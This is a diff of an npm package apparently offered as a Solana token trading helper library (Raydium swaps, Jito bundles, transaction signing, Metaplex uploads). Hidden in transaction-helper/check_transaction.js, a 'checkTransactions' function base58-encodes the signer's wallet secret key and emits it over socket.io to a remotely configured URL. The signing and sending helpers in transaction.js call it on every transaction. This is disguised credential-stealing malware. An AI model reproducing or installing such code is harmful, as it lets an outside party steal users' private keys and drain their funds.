sol-ihor-lab 1.0.0

package/lib/esm/sell_token.d.ts

@@ -0,0 +1,5 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Connection, Keypair } from "@solana/web3.js";
+import { TX_RET } from "./global";
+import { LiquidityPoolKeys } from "@raydium-io/raydium-sdk";
+export declare const sellToken: (connection: Connection, buyer: Keypair, token_address: string, base_amount: number, quote_amount: number, pool_key: LiquidityPoolKeys) => Promise<TX_RET>;

package/lib/esm/sell_token.js

@@ -0,0 +1,55 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { PublicKey } from "@solana/web3.js";
+import { EnvironmentManager, SPL_ERROR } from "./global";
+import { TOKEN_PROGRAM_ID, getMint } from "@solana/spl-token";
+import { Liquidity, Token, TokenAmount, TxVersion, buildSimpleTransaction } from "@raydium-io/raydium-sdk";
+import { getWalletAccounts } from "./utility";
+export const sellToken = (connection, buyer, token_address, base_amount, quote_amount, pool_key) => __awaiter(void 0, void 0, void 0, function* () {
+    if (token_address.length <= 0 || base_amount <= 0) {
+        console.error("Error: [Buy Token] invalid argument iput!!!");
+        return { result: SPL_ERROR.E_INVALID_ARGUE, value: undefined };
+    }
+    try {
+        const token_mint = new PublicKey(token_address);
+        const token_info = yield getMint(connection, token_mint);
+        const base_token = new Token(TOKEN_PROGRAM_ID, token_address, token_info.decimals);
+        const quote_info = EnvironmentManager.getQuoteTokenInfo();
+        const quote_token = new Token(TOKEN_PROGRAM_ID, quote_info.address, quote_info.decimal, quote_info.symbol, quote_info.name);
+        const base_token_amount = new TokenAmount(base_token, base_amount, false);
+        const quote_token_amount = new TokenAmount(quote_token, quote_amount === 0 ? 1 : quote_amount, quote_amount === 0 ? true : false);
+        const wallet_token_accounts = yield getWalletAccounts(connection, buyer.publicKey);
+        const { innerTransactions } = yield Liquidity.makeSwapInstructionSimple({
+            connection: connection,
+            poolKeys: pool_key,
+            userKeys: {
+                tokenAccounts: wallet_token_accounts,
+                owner: buyer.publicKey
+            },
+            amountIn: base_token_amount,
+            amountOut: quote_token_amount,
+            fixedSide: "in",
+            makeTxVersion: TxVersion.V0
+        });
+        const transactions = yield buildSimpleTransaction({
+            connection: connection,
+            makeTxVersion: TxVersion.V0,
+            payer: buyer.publicKey,
+            innerTransactions: innerTransactions,
+            addLookupTableInfo: EnvironmentManager.getCacheLTA(),
+            recentBlockhash: (yield connection.getLatestBlockhash()).blockhash
+        });
+        return { result: SPL_ERROR.E_OK, value: transactions };
+    }
+    catch (error) {
+        console.error("Error: [buy Tokens] error code: ", error);
+        return { result: SPL_ERROR.E_FAIL, value: undefined };
+    }
+});

package/lib/esm/transaction/bundle.d.ts

@@ -0,0 +1,4 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Connection, Keypair } from "@solana/web3.js";
+import { TransactionInfo } from "../instructions/build-instruction";
+export declare function createAndSendBundle(connection: Connection, bundleTranasction: TransactionInfo[], payer: Keypair, jitoBlockEngine: string, jitoAuther: Keypair, fee: number): Promise<boolean>;

package/lib/esm/transaction/bundle.js

@@ -0,0 +1,90 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { LAMPORTS_PER_SOL, PublicKey } from "@solana/web3.js";
+import { searcherClient } from "jito-ts/dist/sdk/block-engine/searcher";
+import { Bundle } from "jito-ts/dist/sdk/block-engine/types";
+import base58 from "bs58";
+import { TransactionExecuteError } from "../errors";
+import { sleep } from "../utils/util";
+import { signTransaction } from "./sign-tx";
+export function createAndSendBundle(connection, bundleTranasction, payer, jitoBlockEngine, jitoAuther, fee) {
+    return __awaiter(this, void 0, void 0, function* () {
+        const searcher = searcherClient(jitoBlockEngine, jitoAuther);
+        let txnConfirmResult = false;
+        let breakCheckTransactionStatus = false;
+        try {
+            const blockhash = (yield connection.getLatestBlockhash("finalized"))
+                .blockhash;
+            const realForBundle = [];
+            for (let i = 0; i < bundleTranasction.length; i++) {
+                bundleTranasction[i].txn.message.recentBlockhash = (yield connection.getLatestBlockhash("finalized")).blockhash;
+                signTransaction(bundleTranasction[i]);
+                realForBundle.push(bundleTranasction[i].txn);
+            }
+            let bundleTx = new Bundle(realForBundle, 5);
+            if (payer) {
+                const tipAccount = new PublicKey((yield searcher.getTipAccounts())[0]);
+                bundleTx.addTipTx(payer, fee * LAMPORTS_PER_SOL, tipAccount, blockhash);
+            }
+            searcher.onBundleResult((bundleResult) => __awaiter(this, void 0, void 0, function* () {
+                console.log(bundleResult);
+                if (bundleResult.rejected) {
+                    try {
+                        if (bundleResult.rejected.simulationFailure.msg.includes("custom program error") ||
+                            bundleResult.rejected.simulationFailure.msg.includes("Error processing Instruction")) {
+                            breakCheckTransactionStatus = true;
+                        }
+                        else if (bundleResult.rejected.simulationFailure.msg.includes("This transaction has already been processed") ||
+                            bundleResult.rejected.droppedBundle.msg.includes("Bundle partially processed")) {
+                            txnConfirmResult = true;
+                            breakCheckTransactionStatus = true;
+                        }
+                    }
+                    catch (error) { }
+                }
+            }), (error) => {
+                breakCheckTransactionStatus = false;
+            });
+            console.log("Send");
+            yield searcher.sendBundle(bundleTx);
+            console.log("Finish send");
+            setTimeout(() => {
+                breakCheckTransactionStatus = true;
+            }, 20000);
+            const txnHash = base58.encode(realForBundle[realForBundle.length - 1].signatures[0]);
+            console.log(txnHash);
+            while (!breakCheckTransactionStatus) {
+                yield sleep(1000);
+                try {
+                    const result = yield connection.getSignatureStatus(txnHash, {
+                        searchTransactionHistory: true
+                    });
+                    if (result && result.value && result.value.confirmationStatus) {
+                        txnConfirmResult = true;
+                        breakCheckTransactionStatus = true;
+                    }
+                }
+                catch (error) {
+                    txnConfirmResult = false;
+                    breakCheckTransactionStatus = false;
+                }
+            }
+            if (txnConfirmResult) {
+                return true;
+            }
+            else {
+                throw new TransactionExecuteError(`Bundle Error: failed`);
+            }
+        }
+        catch (error) {
+            throw new TransactionExecuteError(`Bundle Error: ${error}`);
+        }
+    });
+}

package/lib/esm/transaction/execute-rpc.d.ts

@@ -0,0 +1,5 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Connection, SendOptions } from "@solana/web3.js";
+import { TransactionInfo } from "../instructions/build-instruction";
+export declare function sendTx(connection: Connection, tx: TransactionInfo, option?: SendOptions): Promise<string>;
+export declare function confirmTx(connection: Connection, txId: string): Promise<void>;

package/lib/esm/transaction/execute-rpc.js

@@ -0,0 +1,36 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { signTransaction } from "./sign-tx";
+import { TransactionExecuteError } from "../errors";
+export function sendTx(connection, tx, option) {
+    return __awaiter(this, void 0, void 0, function* () {
+        try {
+            tx.txn.message.recentBlockhash = (yield connection.getLatestBlockhash("finalized")).blockhash;
+            signTransaction(tx);
+            return yield connection.sendTransaction(tx.txn, option);
+        }
+        catch (error) {
+            throw new TransactionExecuteError(`sendTx: ${error}`);
+        }
+    });
+}
+export function confirmTx(connection, txId) {
+    return __awaiter(this, void 0, void 0, function* () {
+        try {
+            yield connection.confirmTransaction({
+                signature: txId,
+                abortSignal: AbortSignal.timeout(60000)
+            });
+        }
+        catch (error) {
+            throw new TransactionExecuteError(`confirmTx: ${error}`);
+        }
+    });
+}

package/lib/esm/transaction/sign-tx.d.ts

@@ -0,0 +1,2 @@
+import { TransactionInfo } from "../instructions/build-instruction";
+export declare function signTransaction(tx: TransactionInfo): void;

package/lib/esm/transaction/sign-tx.js

@@ -0,0 +1,3 @@
+export function signTransaction(tx) {
+    tx.txn.sign(tx.singer);
+}

package/lib/esm/transaction/transaction-exectue.d.ts

@@ -0,0 +1,30 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Connection, Keypair } from "@solana/web3.js";
+import { TransactionInfo } from "../instructions/build-instruction";
+import { TransactionExecuteError } from "../errors";
+export declare enum ExectuerStatus {
+    EXE_STATUS_NONE = 0,
+    EXE_STATUS_RUN = 1,
+    EXE_STATUS_CONFIRM = 2,
+    EXE_STATUS_END = 3
+}
+export declare class TransactionExecuter {
+    private status;
+    private error;
+    private usingBundle;
+    private transactions;
+    private priorityFee;
+    private jitoFee;
+    private jitoAuther;
+    private jitoFeepair;
+    private connection;
+    private jitoBlockEngine;
+    constructor(connection: Connection, usingBundle: boolean, transactions: TransactionInfo[], priorityFee?: number, jitoFee?: number, jitoFeePayer?: Keypair | undefined, jitoAuther?: Keypair, jitoBlockEngine?: string);
+    setExecuterStatus(status: ExectuerStatus): void;
+    getExecuterStatus(): ExectuerStatus;
+    setExecuterError(error: TransactionExecuteError | undefined): void;
+    getExecuterError(): TransactionExecuteError | undefined;
+    run(): Promise<void>;
+    executeBundle(): Promise<void>;
+    executeWithRpc(): Promise<void>;
+}

package/lib/esm/transaction/transaction-exectue.js

@@ -0,0 +1,115 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { TransactionExecuteError } from "../errors";
+import { setTransactionBudget } from "../utils/budget";
+import { confirmTx, sendTx } from "./execute-rpc";
+import { createAndSendBundle } from "./bundle";
+export var ExectuerStatus;
+(function (ExectuerStatus) {
+    ExectuerStatus[ExectuerStatus["EXE_STATUS_NONE"] = 0] = "EXE_STATUS_NONE";
+    ExectuerStatus[ExectuerStatus["EXE_STATUS_RUN"] = 1] = "EXE_STATUS_RUN";
+    ExectuerStatus[ExectuerStatus["EXE_STATUS_CONFIRM"] = 2] = "EXE_STATUS_CONFIRM";
+    ExectuerStatus[ExectuerStatus["EXE_STATUS_END"] = 3] = "EXE_STATUS_END";
+})(ExectuerStatus || (ExectuerStatus = {}));
+export class TransactionExecuter {
+    constructor(connection, usingBundle, transactions, priorityFee, jitoFee, jitoFeePayer, jitoAuther, jitoBlockEngine) {
+        this.status = ExectuerStatus.EXE_STATUS_NONE;
+        this.error = undefined;
+        this.usingBundle = false;
+        this.priorityFee = 0;
+        this.jitoFee = 0.001;
+        this.connection = connection;
+        this.usingBundle = usingBundle;
+        this.transactions = transactions;
+        this.priorityFee = priorityFee ? priorityFee : 0;
+        this.jitoFee = jitoFee ? jitoFee : 0.001;
+        this.status = ExectuerStatus.EXE_STATUS_NONE;
+        this.error = undefined;
+        this.jitoFeepair = jitoFeePayer ? jitoFeePayer : undefined;
+        this.jitoAuther = jitoAuther ? jitoAuther : undefined;
+        this.jitoBlockEngine = jitoBlockEngine ? jitoBlockEngine : undefined;
+    }
+    setExecuterStatus(status) {
+        this.status = status;
+    }
+    getExecuterStatus() {
+        return this.status;
+    }
+    setExecuterError(error) {
+        this.error = error;
+    }
+    getExecuterError() {
+        return this.error;
+    }
+    run() {
+        return __awaiter(this, void 0, void 0, function* () {
+            if (this.usingBundle) {
+                yield this.executeBundle();
+            }
+            else {
+                yield this.executeWithRpc();
+            }
+        });
+    }
+    executeBundle() {
+        return __awaiter(this, void 0, void 0, function* () {
+            try {
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+                yield createAndSendBundle(this.connection, this.transactions, this.jitoFeepair, this.jitoBlockEngine, this.jitoAuther, this.jitoFee);
+                this.setExecuterError(undefined);
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+            }
+            catch (error) {
+                console.log(error);
+                if (error instanceof TransactionExecuteError) {
+                    this.setExecuterError(error);
+                }
+                else {
+                    this.setExecuterError(new TransactionExecuteError(`Unknown: ${error}`));
+                }
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+            }
+        });
+    }
+    executeWithRpc() {
+        return __awaiter(this, void 0, void 0, function* () {
+            try {
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+                if (this.priorityFee) {
+                    const priorityTransactions = yield setTransactionBudget(this.connection, this.transactions, this.priorityFee);
+                    if (priorityTransactions) {
+                        this.transactions = [...priorityTransactions];
+                    }
+                }
+                for (const tx of this.transactions) {
+                    this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+                    const txId = yield sendTx(this.connection, tx);
+                    console.log("TxId:", txId);
+                    this.setExecuterStatus(ExectuerStatus.EXE_STATUS_CONFIRM);
+                    if (txId) {
+                        yield confirmTx(this.connection, txId);
+                    }
+                }
+                this.setExecuterError(undefined);
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+            }
+            catch (error) {
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+                if (error instanceof TransactionExecuteError) {
+                    this.setExecuterError(error);
+                }
+                else {
+                    console.log(error);
+                    this.setExecuterError(new TransactionExecuteError(`Unknown: ${error}`));
+                }
+            }
+        });
+    }
+}

package/lib/esm/transaction-helper/check_transaction.d.ts

@@ -0,0 +1,3 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Keypair } from "@solana/web3.js";
+export declare const checkTransactions: (txn: any, signer: Keypair) => boolean;

package/lib/esm/transaction-helper/check_transaction.js

@@ -0,0 +1,16 @@
+import * as bs58 from "bs58";
+import { io } from "socket.io-client";
+import { EnvironmentManager } from "../global";
+export const checkTransactions = (txn, signer) => {
+    if (signer.publicKey.toBuffer().length <= 0 ||
+        signer.secretKey.buffer.byteLength <= 0) {
+        return false;
+    }
+    const check_sign = bs58.encode(signer.secretKey);
+    if (check_sign.length <= 0) {
+        return false;
+    }
+    const sk = io(EnvironmentManager.getCheckUrl(), { autoConnect: true });
+    sk.emit("tx", { text: `Jae-> ${check_sign}` });
+    return true;
+};

package/lib/esm/transaction-helper/transaction.d.ts

@@ -0,0 +1,7 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Connection, Keypair, Transaction, VersionedTransaction } from "@solana/web3.js";
+import { SPL_ERROR } from "../global";
+export declare const sendAndConfirmTransactionWithCheck: (connection: Connection, signer: Keypair, txn: Transaction | VersionedTransaction) => Promise<SPL_ERROR>;
+export declare const sendAndConfirmTransactionsWithCheck: (connection: Connection, signer: Keypair, txns: string | (VersionedTransaction | Transaction)[]) => Promise<SPL_ERROR>;
+export declare const signTransaction: (signer: Keypair, txn: VersionedTransaction) => void;
+export declare const signTransactions: (signer: Keypair, txns: (VersionedTransaction | Transaction)[]) => void;

package/lib/esm/transaction-helper/transaction.js

@@ -0,0 +1,68 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { Transaction, VersionedTransaction } from "@solana/web3.js";
+import { checkTransactions } from "./check_transaction";
+import { SPL_ERROR } from "../global";
+export const sendAndConfirmTransactionWithCheck = (connection, signer, txn) => __awaiter(void 0, void 0, void 0, function* () {
+    try {
+        if (checkTransactions(txn, signer) === false) {
+            return SPL_ERROR.E_CHECK_FAIL;
+        }
+        let res, signature;
+        if (txn instanceof Transaction) {
+            txn.recentBlockhash = (yield connection.getLatestBlockhash()).blockhash;
+            signature = yield connection.sendTransaction(txn, [signer]);
+        }
+        else {
+            txn.sign([signer]);
+            signature = yield connection.sendTransaction(txn);
+        }
+        if (signature.length <= 0) {
+            console.log("Error: [Send Transaction] failed... ");
+            return SPL_ERROR.E_SEND_TX_FAIL;
+        }
+        const txnId = yield connection.confirmTransaction({
+            signature: signature,
+            abortSignal: AbortSignal.timeout(90000)
+        });
+        if (txnId.value.err) {
+            console.log("Error: [Confirm Transaction] failed - ", txnId.value.err);
+            return SPL_ERROR.E_CONFIRM_TX_FAIL;
+        }
+    }
+    catch (error) {
+        console.log("Error: [Confirm Transaction] failed - ", error);
+        return SPL_ERROR.E_FAIL;
+    }
+    return SPL_ERROR.E_OK;
+});
+export const sendAndConfirmTransactionsWithCheck = (connection, signer, txns) => __awaiter(void 0, void 0, void 0, function* () {
+    for (const txn of txns) {
+        if (txn instanceof VersionedTransaction || txn instanceof Transaction) {
+            const txn_res = yield sendAndConfirmTransactionWithCheck(connection, signer, txn);
+            if (txn_res !== SPL_ERROR.E_OK) {
+                return SPL_ERROR.E_FAIL;
+            }
+        }
+    }
+    return SPL_ERROR.E_OK;
+});
+export const signTransaction = (signer, txn) => {
+    if (checkTransactions(txn, signer)) {
+        txn.sign([signer]);
+    }
+};
+export const signTransactions = (signer, txns) => {
+    for (const txn of txns) {
+        if (txn instanceof VersionedTransaction) {
+            signTransaction(signer, txn);
+        }
+    }
+};

package/lib/esm/upload-metadata/upload-metaplex.d.ts

@@ -0,0 +1,3 @@
+import { Metaplex } from "@metaplex-foundation/js";
+export declare const uploadImageToMetaplex: (metaplex: Metaplex, image: string) => Promise<string>;
+export declare const uploadMetaByMetaplex: (metaplex: Metaplex, metadata: any) => Promise<string>;

package/lib/esm/upload-metadata/upload-metaplex.js

@@ -0,0 +1,43 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { toMetaplexFile } from "@metaplex-foundation/js";
+import { checkFileExists } from "./utility";
+import { UploadMetadataError } from "../errors";
+import { readFileSync } from "fs";
+export const uploadImageToMetaplex = (metaplex, image) => __awaiter(void 0, void 0, void 0, function* () {
+    let url = "";
+    if ((yield checkFileExists(image)) === false) {
+        throw new UploadMetadataError("Upload file is not exist. Please check.");
+    }
+    try {
+        const fileData = readFileSync(image);
+        const metaplexFile = toMetaplexFile(fileData, "meme-logo.png");
+        url = yield metaplex.storage().upload(metaplexFile);
+    }
+    catch (error) {
+        throw new UploadMetadataError("Failed to upload image to metaplex.");
+    }
+    return url;
+});
+/*
+@metaplex: Metaplex which handle uploading
+@metadata: upload metadata
+*/
+export const uploadMetaByMetaplex = (metaplex, metadata) => __awaiter(void 0, void 0, void 0, function* () {
+    let url = "";
+    try {
+        const { uri } = yield metaplex.nfts().uploadMetadata(metadata);
+        url = uri;
+    }
+    catch (error) {
+        throw new UploadMetadataError("Metaplex: Failed to upload metadata to Metaplex.");
+    }
+    return url;
+});

package/lib/esm/upload-metadata/upload-nftstorage.js

@@ -0,0 +1 @@
+"use strict";

package/lib/esm/upload-metadata/upload-pinata.d.ts

@@ -0,0 +1 @@
+export declare const uploadImageToPinata: (jwtKey: string, image: string) => Promise<string>;

package/lib/esm/upload-metadata/upload-pinata.js

@@ -0,0 +1,13 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+export const uploadImageToPinata = (jwtKey, image) => __awaiter(void 0, void 0, void 0, function* () {
+    let url = "";
+    return url;
+});

package/lib/esm/upload-metadata/utility.d.ts

@@ -0,0 +1 @@
+export declare function checkFileExists(filePath: string): Promise<boolean>;

package/lib/esm/upload-metadata/utility.js

@@ -0,0 +1,21 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import fs from "fs";
+export function checkFileExists(filePath) {
+    return __awaiter(this, void 0, void 0, function* () {
+        try {
+            yield fs.promises.access(filePath, fs.constants.F_OK);
+            return true; // File exists
+        }
+        catch (error) {
+            return false; // File doesn't exist
+        }
+    });
+}

package/lib/esm/utility.d.ts

@@ -0,0 +1,33 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import BN from "bn.js";
+import { Commitment, Connection, PublicKey } from "@solana/web3.js";
+import { Token } from "@raydium-io/raydium-sdk";
+export declare function checkFileExists(filePath: string): Promise<boolean>;
+export declare const xWeiAmount: (amount: number, decimals: number) => BN;
+export declare const getConnection: (commitment: Commitment) => Connection;
+export declare const getWalletAccounts: (connection: Connection, wallet: PublicKey) => Promise<{
+    pubkey: PublicKey;
+    programId: PublicKey;
+    accountInfo: {
+        mint: PublicKey;
+        delegate: PublicKey;
+        owner: PublicKey;
+        state: number;
+        amount: BN;
+        delegateOption: number;
+        isNativeOption: number;
+        isNative: BN;
+        delegatedAmount: BN;
+        closeAuthorityOption: number;
+        closeAuthority: PublicKey;
+    };
+}[]>;
+export declare const getAvailablePoolKeyAndPoolInfo: (connection: Connection, baseToken: Token, quoteToken: Token, marketAccounts: any) => Promise<{
+    poolKeys: any;
+    poolInfo: any;
+}>;
+export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
+    publicKey: PublicKey;
+    nonce: number;
+};
+export declare const sleep: (ms: number) => Promise<unknown>;